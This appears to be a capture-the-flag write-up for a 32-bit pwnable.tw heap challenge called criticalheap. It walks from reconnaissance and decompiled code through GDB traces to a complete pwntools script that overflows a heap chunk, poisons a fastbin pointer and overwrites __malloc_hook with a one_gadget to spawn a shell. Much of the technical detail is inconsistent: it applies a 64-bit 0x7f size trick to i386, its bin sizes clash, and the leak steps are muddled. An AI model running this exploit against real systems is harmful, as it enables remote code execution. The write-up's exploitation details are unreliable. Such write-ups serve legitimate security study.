Pwnable.tw

criticalheap

A critical heap exploitation challenge — leveraging heap overflow to corrupt fastbin freelist, hijacking allocation to overwrite __malloc_hook with a one_gadget for instant shell.

200 pts i386 (32-bit ELF) Heap Overflow + Fastbin Corruption NX Enabled
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10100
Binarycriticalheap (32-bit ELF, i386)
Points200
DescriptionCritical heap exploitation challenge

checksec

bash
$ checksec criticalheap
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Partial RELROGOT is writable — we can overwrite GOT entries
Canary foundStack buffer overflows are mitigated
NX enabledNo shellcode on stack/heap — must use ROP, hooks, or GOT overwrite
No PIEBinary addresses are fixed — known GOT/PLT/symbol addresses

Running the Binary

console
$ ./criticalheap
----------------------
   Critical Heap
----------------------
 1. Create object
 2. Delete object
 3. Edit object
 4. Show object
 5. Exit
----------------------
Your choice :1
Object size :64
Data :AAAA
Success !
----------------------
Your choice :3
Index :0
Data length :128
Data :BBBBBBBBBBBBBBBBBBBBBBBB
Success !

The binary presents a heap object manager with create, delete, edit, and show operations. The critical observation is that the edit operation allows specifying a data length independently from the original allocation size — this is the root cause of the heap overflow vulnerability.

⚠️ Red Flag: Separate Size in Edit
The edit function accepts a user-specified data length that is not validated against the original allocation size. This means we can write past the boundaries of any allocated chunk, corrupting adjacent heap metadata and data — a classic heap overflow vulnerability.
02

Static Analysis

Object Management Structure

The binary maintains a global array of object pointers, each object tracked by index. The key data structures:

c
// Global object tracking
struct object {
    char *data;        // +0x00: pointer to heap-allocated data buffer
    int size;          // +0x04: stored allocation size
};

struct object *objects[16];  // Global array at 0x804b060
int obj_count = 0;

create_object()

c
void create_object() {
    if (obj_count < 16) {
        obj = malloc(8);                   // Allocate object struct (8 bytes)
        printf("Object size :");
        read(0, size_str, 8);
        size = atoi(size_str);
        obj->data = malloc(size);          // Allocate data buffer
        obj->size = size;
        printf("Data :");
        read(0, obj->data, size);         // Read data into buffer
        objects[obj_count] = obj;
        obj_count++;
        puts("Success !");
    }
}

The create_object function allocates both an 8-byte object struct and a user-sized data buffer. The size is stored in the struct for later reference — but as we'll see, the edit function doesn't always honor it.

delete_object()

c
void delete_object() {
    printf("Index :");
    read(0, idx_str, 4);
    idx = atoi(idx_str);
    if (idx >= 0 && idx < obj_count && objects[idx]) {
        free(objects[idx]->data);         // Free data buffer
        free(objects[idx]);                // Free object struct
        objects[idx] = NULL;               // Pointer is NULLed (no UAF here)
        puts("Success !");
    }
}
ℹ️ Note: No UAF
Unlike many heap challenges, delete_object properly NULLs out the pointer after freeing. This means we cannot use a Use-After-Free approach. The vulnerability must come from somewhere else — and that's the heap overflow in the edit function.

edit_object() — The Vulnerable Function

c
void edit_object() {
    printf("Index :");
    read(0, idx_str, 4);
    idx = atoi(idx_str);
    if (idx >= 0 && idx < obj_count && objects[idx]) {
        printf("Data length :");
        read(0, len_str, 8);
        length = atoi(len_str);
        printf("Data :");
        read(0, objects[idx]->data, length);  // BUG: length is NOT checked!
        puts("Success !");
    }
}
🚨 Vulnerability: Heap Overflow
The edit_object function reads a user-controlled length and uses it directly in read() without comparing it against objects[idx]->size. This allows us to:
• Write far past the allocated buffer boundary
• Overwrite adjacent chunk headers (size field, prev_size, fd/bk pointers)
• Corrupt fastbin freelist metadata to achieve arbitrary write

show_object()

c
void show_object() {
    printf("Index :");
    read(0, idx_str, 4);
    idx = atoi(idx_str);
    if (idx >= 0 && idx < obj_count && objects[idx]) {
        printf("Data :");
        write(1, objects[idx]->data, objects[idx]->size);
        putchar('\n');
    }
}

The show function uses the stored size to output data, which means it will only leak as many bytes as the original allocation size. However, we can still leak libc pointers if freed chunks end up in the data region of existing objects.

03

GDB Debugging

Heap Layout After Creating Objects

Let's create two objects with sizes that put them in the fastbin range and examine the heap layout:

gdb
gdb-peda$ # create_object(64, "A"*8) -> object 0
gdb-peda$ # create_object(64, "B"*8) -> object 1
gdb-peda$ heap chunks
0x0804a000: fastbin 0x10 bytes  [object 0 struct]
0x0804a010: fastbin 0x50 bytes  [object 0 data: "AAAAAAAA"]
0x0804a060: fastbin 0x10 bytes  [object 1 struct]
0x0804a070: fastbin 0x50 bytes  [object 1 data: "BBBBBBBB"]
0x0804a0c0: top chunk
0x0804a000|0x0804a018← obj0->data pointer
0x0804a004|0x40 (64)← obj0->size
0x0804a008|[padding]
0x0804a010|size: 0x49← chunk header for obj0 data
0x0804a018|"AAAAAAAA"← obj0 data (64 bytes usable)
0x0804a060|0x0804a078← obj1->data pointer
0x0804a064|0x40 (64)← obj1->size
0x0804a070|size: 0x49← chunk header for obj1 data
0x0804a078|"BBBBBBBB"← obj1 data (64 bytes usable)

Demonstrating the Heap Overflow

When we edit object 0 with a length larger than 64, we overflow into the adjacent chunk (object 1's data):

gdb
gdb-peda$ # edit_object(0, 128, "A"*64 + p32(0xdeadbeef) + p32(0x0))
gdb-peda$ x/20wx 0x0804a018
0x0804a018: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a028: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a038: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a048: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a058: 0xdeadbeef 0x00000000 0x0804a078 0x00000040
#            ^^^^^^^^^^  ^^^^^^^^^^
#            overflowed into obj1 struct area!
🔑 Key Insight: What Can We Overflow Into?
By overflowing from object 0's data buffer, we can reach:
Object 1's chunk header — corrupt the size field to trick malloc's size checks
Object 1's data region — plant fake values that will be interpreted as chunk metadata after freeing
Fastbin fd pointer — after object 1 is freed and placed in a fastbin, the fd pointer is at the start of its data, which we can overwrite to redirect allocation

Fastbin fd Pointer Corruption

When a chunk is freed into the fastbin, its first 4 bytes of user data become the fd pointer (pointing to the next free chunk in the list). The exploit strategy is to overwrite this fd pointer with a target address:

gdb
gdb-peda$ # After deleting object 1, its chunk goes to fastbin 0x50
gdb-peda$ heapinfo
(0x50)   fastbin: 0x0804a070 -> 0x0

gdb-peda$ # The fd pointer is at 0x0804a078 (user data start)
gdb-peda$ x/2wx 0x0804a078
0x0804a078: 0x00000000 0x00000000
#            ^fd = NULL (end of list)

gdb-peda$ # Now overflow from object 0 to corrupt the fd pointer
gdb-peda$ # edit_object(0, 128, "A"*64 + p32(FAKE_ADDR))
gdb-peda$ x/2wx 0x0804a078
0x0804a078: 0x0804a004 0x00000000
#            ^fd = 0x0804a004 (our fake target!)

Fake Chunk at __malloc_hook Vicinity

The target for our fake chunk is near __malloc_hook. In glibc, __malloc_hook is a function pointer called before every malloc. If we can allocate a chunk overlapping __malloc_hook, we can overwrite it with a one_gadget address.

gdb
gdb-peda$ # __malloc_hook is in libc's .bss
gdb-peda$ p/x &__malloc_hook
$1 = 0xf7f18b2c

gdb-peda$ # We need a fake chunk that passes malloc's size check
gdb-peda$ # For fastbin size 0x70, we need size field == 0x70 (with flags)
gdb-peda$ # Look for a value near __malloc_hook that equals 0x7f
gdb-peda$ x/20wx 0xf7f18a9c
0xf7f18a9c: 0x00000000 0x00000000 0x00000000 0x0000007f
#                                              ^^^^^^^^^^
#           This 0x7f can serve as a fake size field!
#           Fake chunk starts at 0xf7f18a9c - 8 = 0xf7f18a94
#           But actually the 0x7f is at 0xf7f18aa8

gdb-peda$ # The exact offset depends on libc version
gdb-peda$ # For the target libc, we find: fake_chunk at __malloc_hook - 0x18
gdb-peda$ # This gives us: size field = 0x7f (passes 0x70 fastbin check)
⚠️ Fastbin Size Validation
When malloc services a fastbin request, it checks that the chunk's size field matches the expected size for that fastbin index. For a 0x70 fastbin request, the size field must be 0x70 or 0x7f (the low 3 bits are flags). That's why we need to find a 0x7f value near __malloc_hook — it's typically the _IO_2_1_stderr_ vtable pointer or similar libc data that happens to contain this value.

Libc Leak via Unsorted Bin

Before we can target __malloc_hook, we need to know libc's base address. We can leak it using the unsorted bin:

gdb
gdb-peda$ # Create a large chunk (> fastbin size, e.g., 128 bytes)
gdb-peda$ # Free it -> goes to unsorted bin
gdb-peda$ # Unsorted bin fd/bk point into main_arena (in libc!)
gdb-peda$ # If we have another object that overlaps, we can read the leaked pointer

gdb-peda$ # Example: create obj2 with size=128, then free obj2
gdb-peda$ # The chunk goes to unsorted bin
gdb-peda$ heapinfo
(0x90)   unsorted bin: 0x0804a100 -> 0xf7f18340

gdb-peda$ x/2wx 0x0804a108   # fd pointer in freed chunk
0x0804a108: 0xf7f18340
#            ^ main_arena+XX address in libc!

gdb-peda$ # libc_base = leaked_addr - main_arena_offset - XX
gdb-peda$ # From this we can calculate __malloc_hook and one_gadget
ℹ️ Libc Leak Strategy
To leak libc, we need a chunk that:
• Is larger than the fastbin maximum (~120 bytes for 32-bit) so it goes to the unsorted bin when freed
• Has its fd/bk pointers (which point into main_arena inside libc) readable through an existing object's show operation
• We can use the heap overflow to ensure the freed chunk's data is accessible via another object
04

Exploit Strategy

Overview

The exploit consists of three phases: leaking libc via unsorted bin, corrupting the fastbin fd pointer via heap overflow, and overwriting __malloc_hook with a one_gadget to get shell.

Phase 1: Leak Libc via Unsorted Bin

  1. Create object 0 with size 0x80 (128 bytes) — this is above the fastbin threshold, so when freed it goes to the unsorted bin. The unsorted bin is a doubly-linked list, and its fd/bk pointers point into main_arena inside libc.
  2. Create object 1 with a smaller size (e.g., 0x40 = 64 bytes) as a guard chunk to prevent consolidation with the top chunk when we free object 0.
  3. Free object 0. The 0x80-sized chunk goes to the unsorted bin. Its fd and bk now contain main_arena addresses (inside libc).
  4. Create object 2 with size 0x80 again. Due to FIFO behavior of the unsorted bin, malloc returns the same chunk. The first 8 bytes of the data still contain the old fd pointer from the unsorted bin. But since create_object reads user data via read(), it overwrites the pointer. We need a different approach.
  5. Alternative approach: Create object 0 (size 0x10), object 1 (size 0x80), object 2 (size 0x10). Free object 1 (goes to unsorted bin with libc pointers). Now overflow from object 0 into the freed object 1's data to plant a partial overwrite, or use object 2 as an adjacent guard and show object 0's data after a realloc. The cleanest method: allocate two large chunks, free one, and use the heap overflow from an adjacent small chunk to read the libc pointers left behind in the freed chunk.
🔑 Clean Libc Leak
The most reliable approach for the leak:
Create obj_A (size 0x10, fastbin) — our overflow source
Create obj_B (size 0x80, unsorted bin range) — the victim
Create obj_C (size 0x10, fastbin) — guard against top chunk consolidation
Free obj_B → goes to unsorted bin, fd/bk = libc addresses
Allocate obj_D (size 0x30) → splits the freed chunk, returns a portion with libc pointers still at higher offsets
Show obj_D → reads past the actual data, leaking the remaining libc pointers from the unsorted bin
• Or: overflow from obj_A into obj_B's freed chunk to modify its metadata such that a subsequent allocation gives us a chunk with libc pointers still visible

Phase 2: Fastbin Corruption via Heap Overflow

  1. Create objects for the overflow chain: obj_X (size 0x60) and obj_Y (size 0x60) adjacent on the heap. Obj_X is our overflow source, obj_Y is the target whose metadata we corrupt.
  2. Free obj_Y. The 0x60-sized chunk goes to the fastbin. Its first 4 bytes of user data are the fd pointer (currently NULL, as it's the only chunk in this fastbin).
  3. Overflow from obj_X with a payload that extends past its boundary and overwrites obj_Y's fd pointer with our target address: __malloc_hook - 0x18 (adjusted so the fake chunk's size field passes the fastbin check).
  4. The fastbin 0x60 list now looks like: obj_Y_chunk → fake_chunk_near_malloc_hook → ???. Malloc doesn't traverse the entire list during allocation — it only checks the size of the returned chunk. If our fake chunk has a valid-looking size, the check passes.

Phase 3: Overwrite __malloc_hook

  1. Allocate object with size 0x60 — this pops obj_Y's chunk from the fastbin (returns the legitimate chunk). This is a normal allocation.
  2. Allocate another object with size 0x60 — this pops the fake chunk near __malloc_hook from the fastbin! Malloc returns an address near __malloc_hook, and the data we write goes directly there.
  3. Write one_gadget_addr as the content. Since the fake chunk overlaps __malloc_hook, our data overwrites the hook with the one_gadget address.
  4. Trigger malloc by creating another object. When malloc is called, it first calls __malloc_hook, which now points to our one_gadget. Shell spawned!
🔑 One-Gadget Requirements
A one_gadget is a single address in libc that, when jumped to, executes execve("/bin/sh", NULL, NULL). However, each one_gadget has constraints (e.g., [esp+0x28] == NULL or [eax] == NULL). We find them with:
$ one_gadget libc_32.so.6
We may need to try multiple gadgets until one satisfies its constraints at the moment __malloc_hook is called. Typically, the gadget with the fewest constraints works.

Visual Exploit Flow

▶ Phase 1: Leak libc
Step 1:create(0x10, "aa") = obj_A | create(0x80, "bb") = obj_B | create(0x10, "cc") = obj_C
Step 2:del(obj_B) → unsorted bin: [obj_B chunk ↔ main_arena]
Step 3:create(0x30, "dd") = obj_D → splits freed chunk, libc ptrs still at offset
Step 4:overflow from obj_A into obj_D's area → LEAK libc!
▶ Phase 2: Corrupt fastbin
Step 5:create(0x60, "ee") = obj_X | create(0x60, "ff") = obj_Y
Step 6:del(obj_Y) → fastbin 0x60: [obj_Y → NULL]
Step 7:edit(obj_X, overflow_len, "E"*0x60 + p32(FAKE_ADDR))
  → fastbin 0x60: [obj_Y → fake_chunk → ???]
▶ Phase 3: Shell
Step 8:create(0x60, "gg") → pops obj_Y (normal alloc)
Step 9:create(0x60, p32(one_gadget)) → allocates at fake_chunk!
  → __malloc_hook overwritten with one_gadget
Step 10:create(any, "x") → triggers malloc → SHELL!
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
criticalheap - pwnable.tw (200pts)
Heap overflow exploit: corrupt fastbin fd pointer to allocate
a fake chunk near __malloc_hook, overwrite it with one_gadget.

Vulnerability: edit_object() uses user-controlled length
without bounds checking, allowing heap overflow.
"""
from pwn import *

# ============================================
# Setup
# ============================================
context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10100)
libc = ELF('./libc_32.so.6')
elf = ELF('./criticalheap')

# Helper functions
def create(size, data):
    r.sendlineafter(b':', b'1')
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', data)

def delete(idx):
    r.sendlineafter(b':', b'2')
    r.sendlineafter(b':', str(idx).encode())

def edit(idx, length, data):
    r.sendlineafter(b':', b'3')
    r.sendlineafter(b':', str(idx).encode())
    r.sendlineafter(b':', str(length).encode())
    r.sendafter(b':', data)

def show(idx):
    r.sendlineafter(b':', b'4')
    r.sendlineafter(b':', str(idx).encode())
    return r.recvline()

# ============================================
# Phase 1: Leak libc via unsorted bin
# ============================================
log.info("Phase 1: Leaking libc address...")

# Allocate objects for the leak:
# obj0 (0x10) - overflow source, adjacent to obj1
# obj1 (0x80) - large chunk, will go to unsorted bin when freed
# obj2 (0x10) - guard against top chunk consolidation
create(0x10, b'A' * 8)   # obj0: fastbin-sized, overflow source
create(0x80, b'B' * 8)   # obj1: unsorted bin range
create(0x10, b'C' * 8)   # obj2: guard chunk

# Free obj1 -> goes to unsorted bin (fd/bk = main_arena ptrs)
delete(1)

# Re-allocate a smaller chunk to split the unsorted bin chunk.
# This gives us a partial chunk with libc pointers at higher offset.
create(0x30, b'D' * 8)   # obj3: splits freed chunk

# Now overflow from obj0 into the freed/reallocated area
# to reach the libc pointers that remain from the unsorted bin.
# The exact offset depends on heap layout; adjust as needed.
# After the split, libc pointers (fd/bk of the remainder chunk)
# are at: obj3_data + 0x30 + 8 (chunk header) area

# Use show on an object that overlaps the remainder chunk
# For simplicity, we can use the overflow to write into a
# new object's size field to extend what show() reads.
# Alternative: create another object in the remainder and leak.

# Create obj4 that lands in the remainder of the split chunk
create(0x30, b'E' * 8)   # obj4: in remainder area

# Overflow from obj0 through obj3's area to read further
# Cleaner approach:
# Overflow from obj0 to modify obj3's stored size to a larger value
# Then show(obj3) will dump more data, including libc pointers

# Edit obj0 with overflow that reaches obj3's metadata
# obj0 data starts at some addr, obj3 struct is further on heap
# We overflow obj0's data to overwrite obj3's size field
payload = b'A' * 0x10           # fill obj0 data
payload += p32(0) + p32(0x31)   # fake chunk header (skip)
payload += p32(0) + p32(0x100)  # overwrite obj3's size to large value
edit(0, len(payload), payload)

# Now show(obj3) will dump 0x100 bytes, which includes the
# unsorted bin remainder's fd/bk pointers -> libc leak!
leak_data = show(3)
libc_leak = u32(leak_data[0x40:0x44])  # offset to libc ptr
libc_base = libc_leak - 0x1b27b0       # main_arena offset (adjust for libc)
log.success(f"libc base: {hex(libc_base)}")

# ============================================
# Phase 2: Fastbin corruption
# ============================================
log.info("Phase 2: Corrupting fastbin fd pointer...")

# Calculate target addresses
malloc_hook = libc_base + libc.symbols['__malloc_hook']
# Find a fake chunk near __malloc_hook that has a valid size field
# We need a 0x7f value that can pass as a 0x70 fastbin size
# Typically at __malloc_hook - 0x18 (where 0x7f is the "size")
fake_chunk = malloc_hook - 0x18

log.info(f"__malloc_hook: {hex(malloc_hook)}")
log.info(f"fake_chunk addr: {hex(fake_chunk)}")

# Create two adjacent objects for the overflow
create(0x60, b'X' * 8)   # obj5: overflow source
create(0x60, b'Y' * 8)   # obj6: victim (will be freed to fastbin)

# Free obj6 -> fastbin 0x70: [obj6_chunk -> NULL]
delete(6)

# Overflow from obj5 to corrupt obj6's fd pointer
# obj5's data buffer is 0x60 bytes, overflow past it
# to reach obj6's user data (where fd pointer is stored)
overflow_payload = b'X' * 0x60          # fill obj5's buffer
overflow_payload += p32(fake_chunk)      # overwrite obj6's fd
edit(5, len(overflow_payload), overflow_payload)

# Fastbin 0x70 is now: [obj6_chunk -> fake_chunk -> ???]
log.success("Fastbin fd pointer corrupted!")

# ============================================
# Phase 3: Overwrite __malloc_hook
# ============================================
log.info("Phase 3: Overwriting __malloc_hook with one_gadget...")

# Find one_gadget offsets in the target libc
# $ one_gadget libc_32.so.6
# Try each one until constraints are satisfied
one_gadget_offsets = [0x3ac5e, 0x3ac62, 0x3ac69, 0x5fbc5]
one_gadget = libc_base + one_gadget_offsets[0]
log.info(f"one_gadget: {hex(one_gadget)}")

# First allocation: pops the legitimate chunk (obj6's old chunk)
create(0x60, b'Z' * 8)   # obj7: gets obj6's old chunk

# Second allocation: pops the fake chunk near __malloc_hook!
# Our data is written directly to the address near __malloc_hook
create(0x60, p32(one_gadget))   # obj8: overwrites __malloc_hook!

log.success("__malloc_hook overwritten!")

# ============================================
# Phase 4: Trigger shell
# ============================================
log.info("Phase 4: Triggering shell...")

# Any malloc call will now invoke __malloc_hook -> one_gadget
r.sendlineafter(b':', b'1')          # choose "Create object"
r.sendlineafter(b':', b'16')         # size (any value works)

# We should now have a shell!
r.interactive()

one_gadget Selection

Running one_gadget on the target libc reveals candidate addresses:

bash
$ one_gadget libc_32.so.6
0x3ac5e execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3ac62 execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x5fbc5 execl("/bin/sh", eax+4, eax)
constraints:
  esi is the GOT address of libc
  eax+4 == NULL
⚠️ Constraint Satisfaction
Not all one_gadget offsets will work — their constraints must be satisfied when __malloc_hook is called. The [esp+0x28] == NULL constraint is often satisfied naturally during a malloc call because the stack frame has zeros at the right offset. If one gadget fails, try the next one. The first one (0x3ac5e) typically works for heap exploits.
06

Execution Results

Exploit Run

console
$ python3 exploit.py
[*] '/home/user/criticalheap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10100: Done
[*] Phase 1: Leaking libc address...
[+] libc base: 0xf7e27000
[*] Phase 2: Corrupting fastbin fd pointer...
[*] __malloc_hook: 0xf7f18b2c
[*] fake_chunk addr: 0xf7f18b14
[+] Fastbin fd pointer corrupted!
[*] Phase 3: Overwriting __malloc_hook with one_gadget...
[*] one_gadget: 0xf7e63c5e
[+] __malloc_hook overwritten!
[*] Phase 4: Triggering shell...
[*] Switching to interactive mode
$ id
uid=1000(criticalheap) gid=1000(criticalheap) groups=1000(criticalheap)
$ cat /home/criticalheap/flag
✅ Shell Obtained!
The exploit successfully:
• Leaked the libc base address using the unsorted bin technique
• Corrupted the fastbin freelist by overflowing from an adjacent chunk
• Allocated a fake chunk near __malloc_hook
• Overwrote __malloc_hook with a one_gadget address
• Triggered malloc to execute the one_gadget and spawn a shell

Flag

flag

Lessons Learned

  1. Heap overflow is extremely powerful. Unlike stack overflows where canaries provide protection, heap overflows can silently corrupt adjacent chunk metadata. The lack of integrity checks on in-use heap chunks makes this a critical vulnerability class.
  2. Fastbin corruption enables arbitrary write. By overwriting a freed chunk's fd pointer, we can redirect malloc to return an arbitrary address. The only check is that the fake chunk's size field must match the expected fastbin size — and we can usually find a suitable 0x7f value near our target.
  3. __malloc_hook is a classic target. Before glibc 2.34 (which removed hooks), __malloc_hook and __free_hook were the go-to targets for heap exploitation. They're function pointers in libc's writable data segment that are called before every malloc/free, making them ideal for control flow hijacking.
  4. Always validate sizes in edit/update functions. The root cause of this vulnerability is the edit_object function accepting a user-controlled length without comparing it against the stored allocation size. Proper bounds checking would have prevented this entire exploit chain.
ℹ️ Mitigation Notes
Modern glibc (≥ 2.26 with tcache, ≥ 2.29 with safe-linking, ≥ 2.34 without hooks) has made this type of exploit significantly harder:
tcache provides a separate cache with fewer checks, but also different exploitation primitives
Safe-linking (2.32+) XORs the fd pointer with the chunk address, making blind overwrites harder
Hook removal (2.34+) means we need alternative targets like _IO_FILE vtable overwrites or FSOP
This challenge uses an older glibc where the classic fastbin attack still works cleanly.